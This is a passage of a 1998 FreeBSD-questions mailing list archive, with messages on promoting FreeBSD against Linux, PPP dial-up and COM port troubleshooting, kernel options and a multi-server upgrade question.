Apr 10 18:32:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA06607 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:32:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from boober.lineone.net (boober-be.lineone.net [194.75.152.84]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA06312 for ; Fri, 10 Apr 1998 18:31:35 -0700 (PDT) (envelope-from gurab@lineone.net) Received: from admin.cian.net (host5-99-47-90.btinternet.com [195.99.47.90]) by boober.lineone.net (8.8.5/8.8.0) with SMTP id CAA02385; Sat, 11 Apr 1998 02:30:13 +0100 (BST) Message-ID: <006901bd64e9$a6753a60$0300a8c0@admin.cian.net> Reply-To: "Christopher Raven" From: "Christopher Raven" To: "Greg Lehey" Cc: Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Sat, 11 Apr 1998 02:32:09 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It has been commented that over selling FreeBSD could be counter productive by stereotyping its users. Quite possibly, but not pushing at all could be just as devestating if not more so, if Linux consumes the market who will support FreeBSD? Look at the Apple Mac - the supposedly independant platform, and now part owned by its biggest rival. How? because Microsoft cornered the software market and squeezed Apple over. If Linux corners all the commercial support, who will use FreeBSD? Even though it is a superior platform it could well end up largely unsupported. What I am trying to say here is FreeBSD *MUST* be pushed or it will lose out to Linux period, and I don't think the Linux community will buy into FreeBSD to help it. P.S. - why doesn't the FreeBSD team (or others) send FreeBSD information to the broadcasting / publishing guys to promote another such article (as per Linux) but about FreeBSD. I am sure that the BBC could be grabbed - its a start isnt it? Even send me the info and I can pester the UK media for you. Chris R. [sorrry for the wasted bandwidth but I felt it had to be said.] >On Thu, 9 April 1998 at 23:19:58 -0400, Open Systems Networking wrote: >> I think we SERIOUSLY need a PR plan of some kind. I think also we can take >> the gloves off and start kicking heads without getting nasty about it. We >> have several FACTUAL resources that they just CANT compete with. > >Does anybody out there care? What I see is that they will get the >impression "these free UNIXes attract a strange, aggressive kind of >person, each saying \"My UNIX is better than your UNIX\"". > >>> guys hasn't appeared to have won us anything but lots of nice comments >>> from folks like Marc A. at netscape to the effect that "Linux is the >>> only free OS alternative." I'm getting tired of that, and if it's >>> going to take "breaking ranks" with the rest of the free OS community >>> to get our own message out, maybe it's time. >> >> I second this! But the problemhere is that we have zero PR. I am not >> making light of jordans efforts at all. His trips, his talks, his free CD >> handouts to promote FreeBSD. But the fact is we dont have any PR that is >> making any difference to anyone but geeks. ORA flat out annoys me by >> pretty much refusing to do a FreeBSD book. The only publisher I can >> respect now would be addison wessley since they have seemed interested in >> publishing gregs book. I dont know what happened on that front. > >Neither do I. Time to nag, I suppose. J Carter Shanklin called me a >couple of months ago and was really interested, but things seemed to >cool off before he got the book (*if* he got the book). I will >report. > >Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:41:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA10294 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:41:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA10271 for ; Fri, 10 Apr 1998 18:41:28 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul10.u.washington.edu (root@saul10.u.washington.edu [140.142.13.73]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA29898; Fri, 10 Apr 1998 18:40:09 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul10.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id SAA32504; Fri, 10 Apr 1998 18:40:08 -0700 (PDT) Date: Fri, 10 Apr 1998 17:39:01 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Thomas Dean cc: questions@FreeBSD.ORG, info@cdrom.com Subject: Re: Walnut Creek WWW Page. In-Reply-To: <199804110107.SAA03612@ix.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Thomas Dean wrote: > I note that Linux Red Hat 5.0 (February 1998) is on Walnut Creek's WWW > page. Why not FreeBSD 2.2.6? > > I see that the "Powered by ..." is at the bottom of the page. > > To get FreeBSD, you have to paw thru the site, somewhat. Be nice if > there was an "ORDER NOW" button like for other things. > > tomdean Look closer. FreeBSD is there. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:45:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA10800 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:45:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA10740 for ; Fri, 10 Apr 1998 18:44:21 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id BAA21520; Sat, 11 Apr 1998 01:05:56 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804110005.BAA21520@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: "Michael P. Sale" cc: "Brian Somers" , freebsd-questions@FreeBSD.ORG Subject: Re: PPP frustrations!! In-reply-to: Your message of "Fri, 10 Apr 1998 14:04:13 PDT." <01bd64c4$375dbe60$3406bccc@708644668> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 01:05:55 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > After more playing, I noticed a strange error on boot up that makes me think > that this may not be a ppp problem. The error can be duplicated if I try to > add a route: > > # route add default x.x.x.x > > writing to routing socket: Network is unreachable > add net default: gateway x.x.x.x: Network is unreachable > > I see the same errors on boot-up. Before now, they were not there. This is because there's no way of getting to x.x.x.x (yet). It may be a result of running ppp in non-auto mode, and doing an "add 0 0 HISADDR" in ppp.conf. If you're not running -auto mode, there shouldn't be any ``add'' or ``delete'' commands in ppp.conf. Check out the ppp man page with the latest version (the add command description explains things). > Thanks, > > Mike > > ---------------------------------------------- > Michael P. Sale > MerchantsNet.Com > mike@merchantsnet.com > www.merchantsnet.com > ---------------------------------------------- > "Humility has no equal in the > battle for knowledge" -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:45:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA10977 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:45:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from python.shoal.net.au (perrya@python.shoal.net.au [203.26.44.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA10385 for ; Fri, 10 Apr 1998 18:42:12 -0700 (PDT) (envelope-from perrya@python.shoal.net.au) Received: from localhost (perrya@localhost) by python.shoal.net.au (8.8.6/8.8.5) with SMTP id LAA04638; Sat, 11 Apr 1998 11:42:05 +1000 (EST) Date: Sat, 11 Apr 1998 11:42:05 +1000 (EST) From: Andrew Reply-To: Andrew To: Norman Sellers cc: freebsd-questions@FreeBSD.ORG Subject: Re: FeeBSD 2.2.6 Install In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When you boot does it say anything about sio0 and sio1? If you have sio1 then com2 is available. Type 'dmesg | more' for a replay of the boot messages. If your internal modem is on com2 then you should be able to use it to dial out. If your booting from the install floppy then just hit the scroll lock key and then page up and see what it says. I haven't done a ftp install for a while but I'm pretty sure you just type set device /dev/cuaa1 for com1 when it takes you to the ppp> prompt and it'll work. Don't be too worried about the bit where you pick the com port if it still only says com1 or com1. I had this when I first installed from ftp. hope this helps Andrew Perry > > > However, when I try to install using PPP dialup acces to my ISP I only have > > access to COM1 (0x3f8 IRQ 4). > > I don't know modems very well so take this with a tablespoon of salt. > If you only have access to com1 then put your modem there. The last (and > only) modem I ever laid eyes on had dip switches for setting com ports. > > > Unfortunately I have an internal modem which uses COM2 (0x2f8 IRQ 3) and > > COM2 is not available as an option to use for PPP. > > > I have noticed that when the system boots and probes my hardware that I get > > the message si02 not found. > > Of this much I am certain. > > sio0 is COM1 > sio1 is COM2 > sio2 is COM3 > sio3 is COM4 > > Your system may not have more than two com ports. > > Also, the web site has help for setting up PPP. > > Have fun, | Stop warning me about the latest virus. Learn more... > Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 18:53:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA12905 for freebsd-questions-outgoing; Fri, 10 Apr 1998 18:53:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.calweb.com (mail.calweb.com [208.131.56.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA12874 for ; Fri, 10 Apr 1998 18:53:37 -0700 (PDT) (envelope-from giao@learnix.com) Received: by mail.calweb.com (8.8.6/8.8.6) with SMTP id SAA27721; Fri, 10 Apr 1998 18:53:13 -0700 (PDT) X-SMTP: helo polaris from giao@learnix.com server @lapdancer.functional.com ip 207.173.132.48 user=notwerk Message-Id: <3.0.5.32.19980410185241.007b38e0@pop.calweb.com> X-Sender: notwerk@pop.calweb.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Fri, 10 Apr 1998 18:52:41 -0700 To: walton@nordicdms.com, freebsd-questions@FreeBSD.ORG From: Giao Nguyen Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet In-Reply-To: <19980410231052046.AAA147@mail.nordicdms.com> References: <19980410130143.40104@calweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 04:10 PM 4/10/98 -800, Dave Walton wrote: >On 10 Apr 98 at 13:01, Giao Nguyen wrote: >> That's what Xig is for. Select, select, select, run. > > >What's Xig? Xi Graphics. They sell a Motif development package for FreeBSD. Runtime stuff too. Giao Nguyen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:00:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA13920 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:00:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA13914 for ; Fri, 10 Apr 1998 19:00:09 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul3.u.washington.edu (root@saul3.u.washington.edu [140.142.83.1]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id TAA30000 for ; Fri, 10 Apr 1998 19:00:08 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id TAA10802 for ; Fri, 10 Apr 1998 19:00:08 -0700 (PDT) Date: Fri, 10 Apr 1998 17:58:56 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: options LINUX Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is this redundant? options LINUX options COMPAT_LINUX Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:01:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA14150 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:01:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA14112 for ; Fri, 10 Apr 1998 19:00:49 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (dialup239.cyut.edu.tw [163.17.3.239] (may be forged)) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id KAA01874 for ; Sat, 11 Apr 1998 10:03:09 +0800 (CST) Message-ID: <352ECDF6.52DC4029@ms11.hinet.net> Date: Sat, 11 Apr 1998 09:57:11 +0800 From: James Lou Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Can't start PPP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have a PPP problem. When I run ppp, it got a message: ld.so failed: Can't find shared library "libdes.so.7.5" Would anyone tell me how to solve it? Thanks in advance, James. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:05:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA14896 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:05:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from enterprise.tht.net (root@tht.net [209.47.145.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA14869; Fri, 10 Apr 1998 19:04:47 -0700 (PDT) (envelope-from beef@tht.net) Received: from tht.net(really [209.47.145.231]) by enterprise.tht.net via sendmail with esmtp id for ; Fri, 10 Apr 1998 21:33:20 -0400 (EDT) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Mar-7) Message-ID: <352E902A.465C9611@tht.net> Date: Fri, 10 Apr 1998 21:33:30 +0000 From: Lanny Baron Organization: York Hill Foods X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-RELEASE i386) MIME-Version: 1.0 To: "S. Paul" , questions@FreeBSD.ORG, jkh@FreeBSD.ORG, chat@FreeBSD.ORG Subject: Re: install with boot.flp won't make good PPP connection... References: <352D931B.C3B1C013@crl.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG S. Paul wrote: > Im having the same problem. Have you received any helpful information > yet? > PPP work's in the older release of FreeBSD I'm running, yet with 2.2.6 > RELEASE I can dial in log on yet ppp will not change to PPP. > If you come up with a work around please forward to me, I'll reciprocate Hello, Thank goodness I am not alone in this. I was told by alot of ppl on #freebsd on efnet that I don't know how to use ppp. Well I say that there is a problem with the /stand/sysinstall that comes with the boot.bin from FreeBSD. Last night I went with my pc to my ISP. I tried to do PPP from their office. Same crap. No PPP...only ppp which is no good. I had to use ethernet connection to download FreeBSD v. 2.2.6. I have it now installed and am writing this letter with netscape on FreeBSD with a PPP connection with 2.2.6. I tried for hours with all kinds of combinations like, 127.0.0.1/0 0.0.0.0 and with ISP's addy as 0. All with no luck. I don't know what I can tell you except see if you can get an ethernet connection to download. If not, I think you won't have much choice but to buy the cdroms or get yourself an eariler verion at ftp://ftp.freebsd.org Take care, Lanny P.S. try going to efnet on irc and to #freebsd .... maybe you will have better luck than I did. If you do I am BeeF_ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:09:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA15923 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:09:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA15917 for ; Fri, 10 Apr 1998 19:08:55 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 55766 invoked from network); 11 Apr 1998 02:08:44 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 02:08:44 -0000 Received: from barnowl (apm7-200.realtime.net [204.96.0.200]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id VAA05665; Fri, 10 Apr 1998 21:08:41 -0500 Date: Fri, 10 Apr 1998 21:15:17 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl To: Peter Schwenk cc: hackers@FreeBSD.ORG, questions freebsd Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Peter Schwenk wrote: > Just as a data point... I thought it was a good start that I saw copies of > "The Complete FreeBSD, 2nd Ed." with the CDs and all in a large chain > bookstore, Borders Books and Music. Now, if it spreads to the book > sections of large computer stores, like I've seen Linux do, we'll be > getting somewhere. > On seeing this post I immediately called Borders here in Austin, and they have *sold out*. I previously posted to the doc list that Barnes and Noble and Bookstop have it in their catalog but none on the shelf. If you are going to buy this, *buy it from any of these three*!! And, do as I have, pester other retailers. Borders has 4 on order. I plan to get mine there. Ordering from WC is fine, but we must support the retail effort. I have also called my hardware vendor and volunteered to help get anyone interested in Unix started. They do get inquiries and do make sales but offer no support. They seemed very pleased for the offer and will gladly make referrals. Its a start. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:09:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA16457 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:09:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tera.com (tera.tera.com [207.108.223.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA16376; Fri, 10 Apr 1998 19:09:37 -0700 (PDT) (envelope-from kline@tao.thought.org) Received: (from uucp@localhost) by tera.com (8.8.7/8.7.3) with UUCP id TAA20888; Fri, 10 Apr 1998 19:07:06 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.8.5/8.7.3) id KAA15159; Fri, 10 Apr 1998 10:47:18 -0700 (PDT) From: Gary Kline Message-Id: <199804101747.KAA15159@tao.thought.org> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: from Open Systems Networking at "Apr 9, 98 11:19:58 pm" To: opsys@mail.webspan.net (Open Systems Networking) Date: Fri, 10 Apr 1998 10:47:18 -0700 (PDT) Cc: jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Organization: <> thought.org: public access uNix in service... <> X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We need a starting point. A number of years ago I saw the first issue of the Linux magazine. Then heard no more about it. I was pleased that at last the Free Unix world has a real (paper) rag in circulation; and the following year when I began running FreeBSD I thought that it would be nice if this Linux pub could be merged in with the FBSD world. <> Well, I've heard the buzzer there. But it still leaves open the issue of having a pay-for or free FBSD publication. Quarterly at first; then perhaps bi-monthly. I've seen one of the ``Announcement'' circulars from WC//FBSD. Could this serve as our house organ? Say 4 to 8 pages for the first few issues. And expanding. I was a writer several lifetimes ago, and altho tech writing is nearly beyond me (it ain't easy, folks), I'd be willing to invest time in a *BSD magazine. There are hundreds or thousands among the BSD users more skilled than I, so should be no lack of articles. We could also have an online magazine; either ASCII-only or HTML distributed by email. Publicizing the Berkeley Software Distribution will require sweat; and imagination. It shouldn't take that much capital. gary > -- Gary D. Kline kline@tao.thought.org Public service uNix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:14:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA17717 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:14:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA17709 for ; Fri, 10 Apr 1998 19:14:14 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-30.mdm.mke.execpc.com [169.207.64.34]) by mailgw01.execpc.com (8.8.8) id CAA13332; Sat, 11 Apr 1998 02:14:08 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA07045; Fri, 10 Apr 1998 21:14:06 -0500 (CDT) From: Frank Pawlak Message-Id: <199804110214.VAA07045@darkstar.connect.com> Date: Fri, 10 Apr 1998 21:14:05 -0500 (CDT) To: gurab@lineone.net Cc: grog@lemis.com, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <006901bd64e9$a6753a60$0300a8c0@admin.cian.net> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg, Well said and absolutly correct. I hope you get the support you need. Frank "Christopher Raven" wrote: > It has been commented that over selling FreeBSD could be counter > productive by stereotyping its users. Quite possibly, but not pushing > at all could be just as devestating if not more so, if Linux consumes > the market who will support FreeBSD? > > Look at the Apple Mac - the supposedly independant platform, and now > part owned by its biggest rival. How? because Microsoft cornered the > software market and squeezed Apple over. If Linux corners all the > commercial support, who will use FreeBSD? Even though it is a superior > platform it could well end up largely unsupported. > > What I am trying to say here is FreeBSD *MUST* be pushed or it will > lose out to Linux period, and I don't think the Linux community will > buy into FreeBSD to help it. > > P.S. - why doesn't the FreeBSD team (or others) send FreeBSD > information to the broadcasting / publishing guys to promote another > such article (as per Linux) but about FreeBSD. I am sure that the BBC > could be grabbed - its a start isnt it? Even send me the info and I > can pester the UK media for you. > > > Chris R. > > [sorrry for the wasted bandwidth but I felt it had to be said.] > > > > > >On Thu, 9 April 1998 at 23:19:58 -0400, Open Systems Networking > wrote: > >> I think we SERIOUSLY need a PR plan of some kind. I think also we > can take > >> the gloves off and start kicking heads without getting nasty about > it. We > >> have several FACTUAL resources that they just CANT compete with. > > > >Does anybody out there care? What I see is that they will get the > >impression "these free UNIXes attract a strange, aggressive kind of > >person, each saying \"My UNIX is better than your UNIX\"". > > > >>> guys hasn't appeared to have won us anything but lots of nice > comments > >>> from folks like Marc A. at netscape to the effect that "Linux is > the > >>> only free OS alternative." I'm getting tired of that, and if it's > >>> going to take "breaking ranks" with the rest of the free OS > community > >>> to get our own message out, maybe it's time. > >> > >> I second this! But the problemhere is that we have zero PR. I am > not > >> making light of jordans efforts at all. His trips, his talks, his > free CD > >> handouts to promote FreeBSD. But the fact is we dont have any PR > that is > >> making any difference to anyone but geeks. ORA flat out annoys me > by > >> pretty much refusing to do a FreeBSD book. The only publisher I can > >> respect now would be addison wessley since they have seemed > interested in > >> publishing gregs book. I dont know what happened on that front. > > > >Neither do I. Time to nag, I suppose. J Carter Shanklin called me a > >couple of months ago and was really interested, but things seemed to > >cool off before he got the book (*if* he got the book). I will > >report. > > > >Greg > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:20:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA18427 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:20:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from voicenet.com (mail11.voicenet.com [207.103.0.37]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA18421 for ; Fri, 10 Apr 1998 19:20:12 -0700 (PDT) (envelope-from bertagni@voicenet.com) Received: (qmail 9511 invoked from network); 11 Apr 1998 02:20:06 -0000 Received: from philax06.pa.121-pri.voicenet.com (HELO flap-cat) (207.103.157.121) by mail11.voicenet.com with SMTP; 11 Apr 1998 02:20:06 -0000 Message-Id: <3.0.5.32.19980410221541.007d8790@popmail.voicenet.com> X-Sender: bertagni@popmail.voicenet.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 10 Apr 1998 22:15:41 -0400 To: freebsd-questions@FreeBSD.ORG From: "David G. Bertagni" Subject: kde on 2.2.5 CDROM? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG First, I was to say thanks for producing FreeBSD. I've been fooling around with many Unix and Unix like systems for some time and I find that FreeBSD just "feels right". Keep up the good work. Now on to the stupid user questions: 1) Is kde on the 2.2.5 CDROM? The docs imply that it is but I can't find it. If not where is the best site to get it from? 2) Which is better kernel or user PPP? I would like to configure my home Unix box to act as a proxy server for a couple of PCs (Mac/Win95) so that my family doesn't need to dial out manually. This would require that the FreeBSD box build/tear-down the Internet connection automatically. This seems like a job for kernel based rather than user based but I would like a professional opinion before I invest a few days on this project. Thanks! David G. Bertagni bertagni@voicenet.com dbertagni@acm.org bertagni@brynmawr.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:27:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA19313 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:27:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from itw.itworks.com.au (root@itw.itworks.com.au [203.32.61.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA19307 for ; Fri, 10 Apr 1998 19:27:11 -0700 (PDT) (envelope-from gavin@itworks.com.au) Received: from localhost (gavin@localhost) by itw.itworks.com.au (8.8.8/8.8.5) with SMTP id MAA02890 for ; Sat, 11 Apr 1998 12:26:15 +1000 (EST) Date: Sat, 11 Apr 1998 12:26:14 +1000 (EST) From: Gavin Cameron To: questions@FreeBSD.ORG Subject: Upgrade question (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I sent the attached message to -stable yesterday but didn't receive any replys. Hopefully someone here can help me out. Thanks in advance Gavin []------------------------------------+-------------------------------------[] | Gavin Cameron | ITworks Consulting | | Ph : 0418 390350 | Suite 100, 85 Grattan Street | | Fax : +61 3 9347 6544 | Carlton, Victoria | | Email : gavin@itworks.com.au | Australia, 3053 | []------------------------------------+-------------------------------------[] ---------- Forwarded message ---------- Date: Fri, 10 Apr 1998 14:37:04 +1000 (EST) From: Gavin Cameron To: freebsd-stable@freebsd.org Subject: Upgrade question Hi, I've got three servers servicing around 800 users which I need to upgrade to -stable over the easter break. I have no trouble with cvsup and getting the -stable source tree, but before I jump in I thought I'd describe the 3 servers and see if there would be any hidden gotchas in the upgrade. I will also be upgrading all application software to the latest stable releases. Server 1 -------- Email, WWW server, squid proxy, router running ip-filter, majordomo Machine is running 2.1.6-RELEASE Can I upgrade the machine by doing a make world of stable and compiling a new kernel? Server 2 -------- Email, WWW server, squid proxy, router running ip-filter, samba and netatalk Machine is running 2.2.1-RELEASE Server 3 -------- Squid proxy, router running ip-filter Machine is running 